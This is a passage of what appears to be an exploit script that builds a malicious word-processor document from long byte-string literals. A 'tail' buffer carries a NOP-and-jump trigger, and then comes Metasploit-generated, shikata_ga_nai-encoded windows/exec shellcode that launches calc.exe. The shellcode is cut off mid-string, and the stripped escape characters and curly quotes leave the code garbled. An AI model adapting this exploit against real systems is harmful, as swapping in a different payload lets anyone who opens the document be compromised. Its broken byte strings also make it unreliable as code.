“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x02x00x0Cx01x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x74x00x65x00x73x00x74x00x0Dx00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x08x00x00x08x08x00x00x0Ax08x00x00xF3xE7x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x17x4F”+
“x4Ax09x00x51x4Ax09x00x6Fx28x00x5Ex4Ax09x00x6Dx48”+
“x07x04x73x48x07x04x17x4Fx4Ax09x00x51x4Ax09x00x6F”+
“x28x00x5Ex4Ax09x00x6Dx48x07x04x73x48x07x04x00x02”+
“x00x08x00x00x0Ax08x00x00xFDx00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01”+
“x2Dx00x1FxB0xD7x2Fx20xB0xCBx3Dx21xB0x05x07x23x90”+
“xA0x05x22xB0x05x07x24x90xA0x05x25xB0x00x00x17xB0”+
“xC4x02x18xB0xC4x02x31x90x1Fx01xFFxD1x02x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x14x00x11x00x12x00x01x00x9Cx00x0Fx00x04x00x00x00”+
“x08x00x00x00x00x00x5Ax00x00x60xF1xFFx02x00x5Ax00”+
“x00x00x00x00x00x00x00x00x00x00x06x00x4Ex00x6Fx00”+
“x72x00x6Dx00x61x00x6Cx00x00x00x0Bx00x00x00x61x24”+
“x00x03x24x00x31x24x00x00x28x00x43x4Ax18x00x4Fx4A”+
“x09x00x50x4Ax0Ax00x51x4Ax09x00x5Ex4Ax09x00x4Bx48”+
“x02x00x6Dx48x09x04x73x48x09x04x6Ex48x04x08x74x48”+
“x04x08x6Ax00x01x60x01x00x02x00x6Ax00x00x00x00x00”+
“x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00”+
“x69x00x6Ex00x67x00x20x00x31x00x00x00x27x00x01x00”+
“x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24”+
“x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05”+
“x24x01x40x26x00x00x16x00x43x4Ax20x00x4Fx4Ax04x00”+
“x51x4Ax04x00x35x08x01x36x08x00x4Bx48x2Cx00x66x00”+
“x02x60x01x00x02x00x66x00x00x00x00x00x00x00x00x00”+
“x00x00x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00”+
“x67x00x20x00x32x00x00x00x27x00x02x00x12x64xF0x00”+
“x01x00x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3C”+
“x00x59x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26”+
“x01x00x12x00x43x4Ax1Cx00x4Fx4Ax04x00x51x4Ax04x00”+
“x35x08x81x36x08x01x64x00x03x60x01x00x02x00x64x00”+
“x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00”+
“x61x00x64x00x69x00x6Ex00x67x00x20x00x33x00x00x00”+
“x27x00x03x00x12x64xF0x00x01x00x13xA4xF0x00x58x44”+
“x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00”+
“x06x24x01x05x24x01x40x26x02x00x0Fx00x43x4Ax1Ax00”+
“x4Fx4Ax04x00x51x4Ax04x00x35x08x81x00x64x00x04x60”+
“x01x00x02x00x64x00x00x00x00x00x00x00x00x00x00x00”+
“x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00”+
“x20x00x34x00x00x00x27x00x04x00x12x64xF0x00x01x00”+
“x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59”+
“x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x03x00”+
“x0Fx00x43x4Ax1Cx00x4Fx4Ax00x00x51x4Ax00x00x35x08”+
“x81x00x5Ex00x05x60x01x00x02x00x5Ex00x00x00x00x00”+
“x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00”+
“x69x00x6Ex00x67x00x20x00x35x00x00x00x27x00x05x00”+
“x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24”+
“x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05”+
“x24x01x40x26x04x00x0Ax00x43x4Ax1Ax00x35x08x81x36”+
“x08x01x64x00x06x60x01x00x02x00x64x00x00x00x00x00”+
“x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00”+
“x69x00x6Ex00x67x00x20x00x36x00x00x00x27x00x06x00”+
“x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24”+
“x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05”+
“x24x01x40x26x05x00x0Fx00x43x4Ax16x00x4Fx4Ax00x00”+
“x51x4Ax00x00x35x08x81x00x5Cx00x07x60x01x00x02x00”+
“x5Cx00x00x00x00x00x00x00x00x00x00x00x09x00x48x00”+
“x65x00x61x00x64x00x69x00x6Ex00x67x00x20x00x37x00”+
“x00x00x27x00x07x00x12x64xF0x00x01x00x13xA4xF0x00”+
“x58x44x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5C”+
“x24x00x06x24x01x05x24x01x40x26x06x00x07x00x43x4A”+
“x18x00x35x08x00x00x64x00x08x60x01x00x02x00x64x00”+
“x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00”+
“x61x00x64x00x69x00x6Ex00x67x00x20x00x38x00x00x00”+
“x27x00x08x00x12x64xF0x00x01x00x13xA4xF0x00x58x44”+
“x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00”+
“x06x24x01x05x24x01x40x26x07x00x0Fx00x43x4Ax18x00”+
“x4Fx4Ax00x00x51x4Ax00x00x36x08x01x00x60x00x09x60”+
“x01x00x02x00x60x00x00x00x00x00x00x00x00x00x00x00”+
“x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00”+
“x20x00x39x00x00x00x27x00x09x00x12x64xF0x00x01x00”+
“x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59”+
“x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x08x00”+
“x0Cx00x43x4Ax16x00x4Fx4Ax04x00x51x4Ax04x00x44x00”+
“x41x60xF2xFFxA1x00x44x00x00x00x00x00x00x00x00x00”+
“x00x00x16x00x44x00x65x00x66x00x61x00x75x00x6Cx00”+
“x74x00x20x00x50x00x61x00x72x00x61x00x67x00x72x00”+
“x61x00x70x00x68x00x20x00x46x00x6Fx00x6Ex00x74x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x44x00x20x60”+
“x01x00xF2x00x44x00x00x00x00x00x00x00x00x00x00x00”+
“x06x00x46x00x6Fx00x6Fx00x74x00x65x00x72x00x00x00”+
“x16x00x0Fx00x61x24x00x03x24x00x47x24x00x0DxC6x08”+
“x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A”+
“x12x00x3Ex00x1Fx60x01x00x02x01x3Ex00x00x00x00x00”+
“x00x00x00x00x00x00x06x00x48x00x65x00x61x00x64x00”+
“x65x00x72x00x00x00x10x00x10x00x47x24x00x0DxC6x08”+
“x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A”+
“x12x00x00x08x00x00x0Ax08x00x00x05x00x00x00x00x08”+
“x00x00x0Ax08x00x00x06x00x00x00x02x10x00x00x00x00”+
“x00x00x00x05x00x00x00x00x00x00x08x00x00x00x00x0C”+
“x00x00x00x47x16x90x01x00x00x02x02x06x03x05x04x05”+
“x02x03x04x87x7Ax00x20x00x00x00x80x08x00x00x00x00”+
“x00x00x00xFFx01x00x00x00x00x00x00”)
tail=(“x90x90xEBx06xE6xADx01x51x00x00x4Dx04x90x01x86x03x02”+
“x01x06x00x03x01x01x01x01x01x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x8Bx5Bx53x4Fx00x00x54x00x69x00x6Dx00x65x00x73”+
“x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D”+
“x00x61x00x6Ex00x00x00x55x04x90x01x86x07x02x01x06”+
“x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x00”+
“x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00x53”+
“x00x69x00x6Dx00x48x00x65x00x69x00x00x00x54x00x69”+
“x00x6Dx00x65x00x73x00x20x00x4Ex00x65x00x77x00x20”+
“x00x52x00x6Fx00x6Dx00x61x00x6Ex00x00x00x35x14x90”+
“x01x02x00x05x05x01x02x01x07x06x02x05x07x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x80x00x00x00x00x53x00x79x00x6Dx00x62x00x6Fx00x6C”+
“x00x00x00x33x24x90x01x00x00x02x0Bx06x04x02x02x02”+
“x02x02x04x87x7Ax00x00x00x00x00x80x08x00x00x00x00”+
“x00x00x00xFFx01x00x40x00x00xFFxFFx41x00x72x00x69”+
“x00x61x00x6Cx00x00x00x4Dx04x90x01x86x03x02x01x06”+
“x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x10”+
“x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00xD1”+
“x9Ex53x4Fx00x00x54x00x69x00x6Dx00x65x00x73x00x20”+
“x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6Dx00x61”+
“x00x6Ex00x00x00x3Fx34x90x01x00x00x02x07x03x09x02”+
“x02x05x02x04x04x87x7Ax00x00x00x00x00x80x08x00x00”+
“x00x00x00x00x00xFFx01x00x40x00x00xFFxFFx43x00x6F”+
“x00x75x00x72x00x69x00x65x00x72x00x20x00x4Ex00x65”+
“x00x77x00x00x00x3Bx04x90x01x02x00x05x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x80x00x00x00x00x57x00x69”+
“x00x6Ex00x67x00x64x00x69x00x6Ex00x67x00x73x00x00”+
“x00x55x04x90x01x86x07x02x01x06x00x03x01x01x01x01”+
“x01x03x00x00x00x00x00x0Ex08x00x00x00x00x00x00x00”+
“x00x01x00x04x00x00x00x00x00x53x00x69x00x6Dx00x53”+
“x00x75x00x6Ex00x00x00x54x00x69x00x6Dx00x65x00x73”+
“x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D”+
“x00x61x00x6Ex00x00x00x37x04x90x01x00x00x02x04x05”+
“x02x05x04x05x02x03x03x87x02x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x9Fx00x00x20x00x00x00x00x47”+
“x00x65x00x6Fx00x72x00x67x00x69x00x61x00x00x00x37”+
“x04x90x01x00x02x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x20x00x00x00x4Cx00x61x00x74”+
“x00x68x00x61x00x00x00x33x04x90x01x00x00x02x00x04”+
“x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4C”+
“x00x61x00x74x00x68x00x61x00x00x00xFFxFFx12x00x00”+
“x00x00x00x0Ax00x4Ex00x6Fx00x72x00x6Dx00x61x00x6C”+
“x00x2Ex00x77x00x70x00x74x00x04x00x74x00x65x00x73”+
“x00x74x00x00x00x00x00x00x00x0Dx00x41x00x64x00x6D”+
“x00x69x00x6Ex00x69x00x73x00x74x00x72x00x61x00x74”+
“x00x6Fx00x72x00x0Ax00x7Ax00x68x00x61x00x6Ex00x67”+
“x00x71x00x69x00x61x00x6Ex00x67x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20”+
“x00x04x00x01x08x88x18x00x00xA4x01xE9xFDx68x01x00”+
“x00x00x00x8Bx33xE5x86x9FxC5x1Bx07x00x00x00x00x01”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x01”+
“x00x00x00x04x00x03x10x01x00x00x00x00x00x00x00x00”+
“x00x00x00x01x00x01x00x00x00x01x00x00x00x00x00x00”+
“x00x21x03x00x00x00x00x00x00x03x00x5Ax00x26x00x21”+
“x00x29x00x2Cx00x2Ex00x3Ax00x3Bx00x3Fx00x5Dx00x7D”+
“x00xA8x00xB7x00xC7x02xC9x02x15x20x16x20x19x20x1D”+
“x20x26x20x36x22x01x30x02x30x03x30x05x30x09x30x0B”+
“x30x0Dx30x0Fx30x11x30x15x30x17x30x01xFFx02xFFx07”+
“xFFx09xFFx0CxFFx0ExFFx1AxFFx1BxFFx1FxFFx3DxFFx40”+
“xFFx5CxFFx5DxFFx5ExFFxE0xFFx00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x28x00x5Bx00x7Bx00xB7”+
“x00x18x20x1Cx20x08x30x0Ax30x0Cx30x0Ex30x10x30x14”+
“x30x16x30x08xFFx0ExFFx3BxFFx5BxFFxE1xFFxE5xFFx00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05”+
“x07xA0x05xB4x00x8Fx00x02x80x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x29xF0xFFx0Fx01x00x01x3Fx00x00xA8x03x00”+
“x00xFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFF”+
“x7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7Fx27x2Ax17”+
“x00x00x00x00x00x32x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x05”+
“x00x00x00x00x00x00x00x01x00x01x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05”+
“x00x00x00x00x00x00x0Ex00x00x00x00xFFxFFxFFxFFx0F”+
“x00x00xF0x20x00x00x00x00x00x06xF0x18x00x00x00x02”+
“x08x00x00x02x00x00x00x02x00x00x00x01x00x00x00x01”+
“x00x00x00x02x00x00x00x00x0Fx00x02xF0x86x00x00x00”+
“x10x00x08xF0x08x00x00x00x02x00x00x00x01x04x00x00”+
“x0Fx00x03xF0x30x00x00x00x0Fx00x04xF0x28x00x00x00”+
“x01x00x09xF0x10x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x02x00x0AxF0x08x00x00x00”+
“x00x04x00x00x05x00x00x00x0Fx00x04xF0x36x00x00x00”+
“x12x00x0AxF0x08x00x00x00x01x04x00x00x00x0Ex00x00”+
“x53x00x0BxF0x1Ex00x00x00x7Fx00x00x00x8Dx01x7Fx01”+
“x20x00x20x00xCDx01x00x00x00x00xFFx01x00x00x08x00”+
“x3Fx03x01x00x01x00xFFx40x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00”+
“x00x00x00x00x00x00x00x00x00x00x00x00x00x00”)
# windows/exec CMD=calc.exe
# Encoder: x86/shikata_ga_nai
# powered by Metasploit
# msfpayload windows/exec CMD=calc.exe R | msfencode -b 'x00'
shellcode = (“xbax68x3ex85x1fxd9xcaxd9x74x24xf4x58x29xc9” +
“xb1x33x31x50x12x83xe8xfcx03x38x30x67xeax44” +
“xa4xeex15xb4x35x91x9cx51x04x83xfbx12x35x13” +
“x8fx76xb6xd8xddx62x4dxacxc9x85xe6x1bx2cxa8” +
“xf7xadxf0x66x3bxafx8cx74x68x0fxacxb7x7dx4e” +
“xe9xa5x8ex02xa2xa2x3dxb3xc7xf6xfdxb2x07x7d” +
“xbdxccx22x41x4ax67x2cx91xe3xfcx66x09x8fx5b” +
“x57x28x5cxb8xabx63xe9x0bx5fx72x3bx42xa0x45” +
“x03x09x9fx6ax8ex53xe7x4cx71x26x13xafx0cx31” +
“xe0xd2xcaxb4xf5x74x98x6fxdex85x4dxe9x95x89” +
“x3ax7dxf1x8dxbdx52x89xa9x36x55x5ex38x0cx72” +
“x7ax61xd6x1bxdbxcfxb9x24x3bxb7x66x81x37x55” +
“x72xb3x15x33x85x31x20x7ax85x49x2bx2cxeex78” +
“xa0xa3x69x85x63x80x86xcfx2exa0x0ex96xbaxf1” +
“x52x29x11x35x6bxaax90xc5x88xb2xd0xc0xd5x74” +
“x08xb8x46x11x2ex6fx66x30x4dxeexf4xd8xbcx95” +
